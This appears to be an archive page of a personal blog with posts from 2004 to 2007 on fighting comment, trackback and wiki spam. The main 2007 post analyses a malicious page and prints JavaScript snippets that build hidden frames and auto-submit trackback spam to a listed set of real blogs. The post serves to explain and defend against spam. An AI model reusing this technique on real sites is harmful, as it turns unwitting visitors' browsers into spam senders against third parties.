Google
 

Spreading Comment and Trackback Spam Through Zombie Browsers

August 7, 2007 – 11:57 am

Since my move to Wordpress, I have been noticing a lot of funny track back hits going back to my old Movable Type installation. First of all, all of these hits were coming back from different IP addresses and different browsers. Second, they all had the same refer. Something was fishy. On further examination, I found something really interesting

It seems that the refer is hosting a malicious HTML page. That page consists of a set of Javascripts which load new frames and submit track back pings to other blogs on the Internet. That means that anyone going to that malicious page is automatically submitting trackback spam somewhere else on the Net. When blog owners see the spam, they go back to check out the refer and end up on the malicios page, which then submits more track back spams in the background. The track backs themselves lead to fake blogs and search results, which eventually either lead to drug stores or ad-populated pages.

There are several interesting things here. First - the malicious page kind of propagates itself. Second, the page does not use any kind of security exploits - everything is done through regular Javascripts. Third, there is apparently enough interest in refers that it generates enough traffic to affect other sites. All of these is very similar to the way regular spam and viruses are spread - through zombie computers, except in this case the browsers are zombies.

Below are some snippets from the code of this site (you can view the decoded site source here - courtesy of Stephane “Gooby” Theroux’s decoder):

First the site loads an array with the target track back URLs:

var ss = new Array('http://140.99.61.57/cgi-bin/mt/mt-tb.cgi/211', 'http://64.130.58.178/cgi-sys/cgiwrap/ebradio/managed-mt/mt-tb.cgi/55', 'http://www.creativedestruction.com/MT/mt-tb.cgi/25', 'http://www.thirstytheologian.com/mt/mt-tb.cgi/287', 'http://www.ultrasparky.org/mt/mt-tb.cgi/5406', 'http://blog.avramovic.info/bblog/trackback.php/9/', 'http://www.technologyevangelist.com/cgi-bin/mt-tb.fcgi/685', 'http://www.edspresso.com/cgi-bin/mt/mt-t.cgi/1002', 'http://hellyes.nl/iam/wp-trackback.php?p=3', 'http://varnam.org/mt33/mt-tb.cgi/157', 'http://varnam.org/mt33/mt-tb.cgi/157');

The next step is to create the frames and forms inside:


var d = parent.fr1.document;
d.write('<div id=mainpage style="display:none">');
d.write('<div id=tbdescr align=center></div>');
d.write('<form name=fff method=POST target=fr2>');
d.write('<input type=text name=url>');
d.write('<input type=text name=title>');
d.write('<input type=text name=excerpt>');
d.write('<input type=text name=blogname>');
d.write('</form>');
d.write('</div>');
tbsp();

Third step is to load up the forms and submit:


function tbsp()
{
var d = parent.fr1.document;
d.getElementById('tbdescr').innerHTML = ii ': ' unescape(ss[ii]);
d.fff.action = unescape(ss[ii]);
d.fff.url.value = unescape('http://getdayfile.nicespace.ca');
d.fff.title.value = unescape('Diphtheria');
d.fff.excerpt.value = 'Read more about ' unescape('Diphtheria');
d.fff.blogname.value = unescape('Diphtheria');
d.fff.submit();
...

Fourth step - rinse, repeat:


if (ii > 0) {
ii--;
setTimeout('tbsp()', 10000);
} else {
setTimeout('refresh()', 2000);
}

The reason why this is allowed to happen is due to the fact that the browser does not restrict interaction with child frames. Thus, dynamically created frames with malicious form submits can happen without user interaction. It is not out of the realm of possibility for this type of attack to be extended to any sort of Web service or web application that can accept GET or POST. In fact it would probably be trivial but most social networks and web applications should filter out Javascript.

At the current time there is no protection against this type of attack other than disabling Javascript or having the browser warn you before submitting a form.

Comments are welcome at blog /at/ shaftek [dot] org.

Weird Comment Spam

December 10, 2005 – 7:04 pm

In the past two days or so, my blog got hit with another comment spam barrage. However, this time it was very weird - most of the sites advertised were commons ones like “yahoo.com” and “bbc.co.uk”. I don’t think that they would actually pay some spammer to do that. Another weird thing is that the links were tagged with rel=”itsok” which makes no sense to me either.

On Comment Spam

October 24, 2005 – 5:16 pm

Since I upgraded to MT v3.2, the amount of comment and trackback spam has gone down, probably due to their blacklist lookup feature. However, since then two types of spam accounted for over 90 % of whatever got through:

1. Links to sites hosted by free adult webhosting sites called anzwers.net.
2. Links to various messages posted via insecure bulletin board systems such as wwwboard (a problem that is at least three years old).

Adding “anzwers.net” and “wwwboard” to my keyword blacklist just took care of that.

New Focus for Blog Spam: Spreading Spyware

March 15, 2005 – 1:28 pm

Historically, blog spam has been used to raise search engine rankings. However, with the recent introduction of the “nofollow” directive this avenue of profit has been essentially killed off. So now comment spammers are moving over to a new area of profit: spyware (phishing and other similar stuff will probably follow). While there have been reports of spyware in Google’s Blogger service, triggered by the “next blog” feature; I haven’t yet seen reports of trackback or comment spam doing the same. Well until now.

The original spam comment to my blog came from some IP address in the Ukraine, most likely to be a hijacked machine. It pointed to a site hosted on a free provider under the URL “http://www.freewebs.com/baby-names/” (DO NOT GO THERE UNLESS YOU ARE SECURE). After getting the page source with wget, I was suprised to see that’s its mainly empty. It consisted of a Javascript include in the beginning, a set of font size “2″ HR tags in the middle which are basically invisible to normal users, and a stats tracker in the end. The page is still up at the time of writing but I reported it to the ISP so its probably going to be taken down soon. You can download a ZIP file containing all of the files described in this post right over here.

Now what value does an empty page serve? After looking at the Javascript include located in the beginning of the file, it seems a lot. The javascript file comes from a site called “ysbweb.com” which is owned by “Interactive Search Technologies” or IST. They market a search toolbar which seems to be spyware. NOW, keep in mind that this Javascript file DOES NOT come from the “free” page that was originally refered to via the trackback. Rather it is a file provided by the spyware vendor themselves, and therefore all of the bad stuff that it does is directly caused by them not by some hacker.
Read the rest of this entry »

Realistic Looking Comment Spam

March 1, 2005 – 2:53 pm

In the past day or two there were some realstic looking spam comments posted to of the entries in my blog. They looked as follows:

Most are shocked to learn just how un-secure their computer is! The recent Bugbear.B virus was a good example of a modern day virus/trojan that automatically infects your computer through email.

Close those security holes used by adware and spyware to violate your privacy and security, even with zero technical knowledge!

As a result of the recent onslaught of Internet-based virus attacks and their effect on many companies’ operations, some organizations responded defensively by shutting down TCP ports that were vulnerable.

All of these were posted from the same IP address, 69.31.84.187, which has been promptly banned by me. They all lead to some strange looking page with links to some specilized search engines. Apparently, the search engines in question give money for clicks.

Distributed xLists for Blogs

February 11, 2005 – 4:41 pm

Following up on my earlier post about the use of email blacklists for blogs and Andy’s comments, Andy and myself started thinking about how to improve blacklists and whitelists for blogs. What we came up with is “Distributed xLists” - in black, white and shades of gray. Instead of following a centralized model, we chose a distributed peer to peer model that allows folks to publish, combine and redistribute blacklist/whitelist information while attaching their own opinion to it as well. Additionally, instead of plain white and black colors, our lists have weights allowing all kinds of shady stuff :) We hope that the trust in place between individuals combined with the flexbility of weighted opinions would fare better than the existing stuff.

For full details, you can read the HTML version of our Internet draft at Andy’s site (which should post soon to the IETF’s repository) and Andy’s comments. Now I just have to get around to updating my MT plugin.

An MT Plugin for Banned IP Lists

February 1, 2005 – 7:51 pm

Andy’s post got me thinking about publishing individual blacklists (something that Jay Allen of MT-BlackList has given up on). So, I put together a simple plugin for MovableType called “MT-Banned-List” that adds tags for generating a list of banned IP addresses. You can download version 0.1 here (just stick the .pl file into your plugins directory, and use one of the sample templates). Documentation is inside the plugin itself. You can see my own ban list in RSS 2.0 or plain text format.

Hopefully we can leverage individual blacklists in a distributed fashion for dealing with spam. This is just a first step.

UPDATE: See version 0.2.

Google Releases New Features to Fight Comment Spam

January 18, 2005 – 9:16 pm

According to a post on Google’s Official blog, a new feature will be available to fight comment spammers. Adding a “rel=nofollow” attribute to hyperlinks will prevent spammer links from being harvested by search engines. According to the post major blog software vendors are supporting this move. The solution itself is brilliant since it uses a standard part of HTML which has not been used widely (see SixApart’s blog for more of the technical details). The only problem from the standards point of view is that “nofollow” is not listed in the valid link types. While SixApart is brushing the problem off, the W3C provides a solution to this via meta data profiles. Alternatively, this new link type can be submitted to the W3C and I am sure that they will be happy to approve.

What is also VERY GOOD is the rare cooperation that took place among many competitors working for a common good as pointed out by David Czarnecki of Blojsom and Dave Winer. Aside from Google, both MSN Search and Yahoo have joined in as well. From the blog vendors, SixApart (which runs TypePad and LiveJournal hosted services as well as MovableType software which I use), signed on, as well as WordPress, Blojsom, and Blosxom (LiveJournal and Blogger are part of SixApart and Google). SixApart already has a plugin available already (woo hoo!). It is good to note that Google is sticking to their motto of “do no evil” and is actually helping the Internet by leading in this. Now if only they can do the same with email spam via Gmail…

Wiki Spam

June 27, 2004 – 7:47 pm

In the beginning there was email spam. Followed by blog comment spam. Now a new version - Wiki spam.

While checking on something in my wiki, I was suprised and dismayed to find the home page for the wiki replaced by a piece of spam adveritising an online casino. Do these people have no shame?

For interested parties, the spammer came from Israel:

CBL217-132-89-125.bb.netvision.net.il

Probably a broadband machine taken over by a zombie. Argh.

Dealing with comment spam

June 10, 2004 – 1:21 am

Thanks for Maphet, I installed the MT Close Comments plugin to fight blog comment spam. We’ll see how it goes…

Fighting Blog Comments Spam: Learn from Email

June 2, 2004 – 3:33 pm

Even though I have been out of the ASRG for two weeks, the ever-increasing number of spam appearing in my blog comments have gotten me thinking. After some crusing and searching on Google, I read through some of the proposed and currently used solutions. What is interesting to me is how many of them are evolving in the same way solutions for fighting email spam have, and may theoretically have the same faults. It is also interesting to see people arguing the same causes for blog spam as email spam.
Read the rest of this entry »